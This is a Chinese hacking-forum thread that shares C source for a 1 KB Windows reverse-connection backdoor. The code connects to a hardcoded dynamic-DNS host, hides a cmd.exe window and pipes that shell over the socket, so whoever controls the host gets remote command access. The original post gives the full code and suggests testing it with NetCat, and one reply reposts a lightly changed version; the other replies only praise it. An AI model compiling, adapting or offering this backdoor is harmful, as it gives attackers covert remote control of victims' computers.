安全基地 » 源码交流 » [VC源码]1k-黑客反向连接后门程序 No.1

matin 发表于 2006-12-26 13:26

[VC源码]1k-黑客反向连接后门程序 No.1

[code]/*
    1k(程序体积1kb) 反向连接,零管道后门 By DNA32r

说明:
    不用我多说了吧..黑客一般都会使用的后门程序..
    这里只是简单的演示一下..没有添加进程隐藏功能
    程序可以在Win9x,Win2k,WinXP,Win2k3上使用
    程序体积只有1k(FSG压缩一下会更小)

测试:
    本地开启NetCat等工具,监听80端口,会返回一个Shell
*/
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
#pragma comment(lib, "ws2_32.lib")

#include <winsock2.h>
#include <windows.h>

#define MasterAddr "DNA32r.3322.org"     //连接地址
#define MasterPort 80                           //连接端口

void Entrypoint()
{
    WSADATA WSADa;
    LPHOSTENT HostEnts;
    sockaddr_in SockAddrIn;
    SOCKET FSocket;
   
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;

    char szCMDPath[255];
//-------------------
    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
    GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
    //获取cmd路径
    WSAStartup(0x0202,&WSADa);
    //加载ws2_32.dll
    HostEnts=gethostbyname(MasterAddr);
    SockAddrIn.sin_family = AF_INET;
    SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);
    SockAddrIn.sin_port = htons(MasterPort);
    FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    //获取远程地址和端口～绑定协议
    connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
    //开始连接远程服务器
    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    StartupInfo.hStdInput = (HANDLE)FSocket;
    StartupInfo.hStdOutput = (HANDLE)FSocket;
    StartupInfo.hStdError = (HANDLE)FSocket;
    //创建匿名管道
    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
    //关闭进程句柄
    closesocket(FSocket);
    WSACleanup();
    //关闭连接卸载ws2_32.dll
}[/code]

逃学书童 发表于 2007-3-24 18:49

好贴，支持法帖！！！:victory: :)

pkfoo 发表于 2007-3-25 09:20

#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:main")
#pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
#pragma comment(lib, "ws2_32.lib")

#include <winsock2.h>
#include <windows.h>



#define MasterAddr "DNA32r.3322.org"     //连接地址
#define MasterPort 80                           //连接端口

int main()
{
    WSADATA WSADa;
    LPHOSTENT HostEnts;
    SOCKADDR_IN SockAddrIn;
    SOCKET FSocket;
   
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;

    char szCMDPath[255];
//-------------------
    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
    GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
    //获取cmd路径
    WSAStartup(0x0202,&WSADa);
    //加载ws2_32.dll
    HostEnts=gethostbyname(MasterAddr);
    SockAddrIn.sin_family = AF_INET;
    SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);
    SockAddrIn.sin_port = htons(MasterPort);
    FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    //获取远程地址和端口～绑定协议
    connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
    //开始连接远程服务器
    StartupInfo.cb = sizeof(STARTUPINFO);
    StartupInfo.wShowWindow = SW_HIDE;
    StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    StartupInfo.hStdInput = (HANDLE)FSocket;
    StartupInfo.hStdOutput = (HANDLE)FSocket;
    StartupInfo.hStdError = (HANDLE)FSocket;
    //创建匿名管道
    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
    CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
    //关闭进程句柄
    closesocket(FSocket);
    WSACleanup();
    //关闭连接卸载ws2_32.dll
}

追雪人 发表于 2008-1-14 19:16

好贴！

查看完整版本: [VC源码]1k-黑客反向连接后门程序 No.1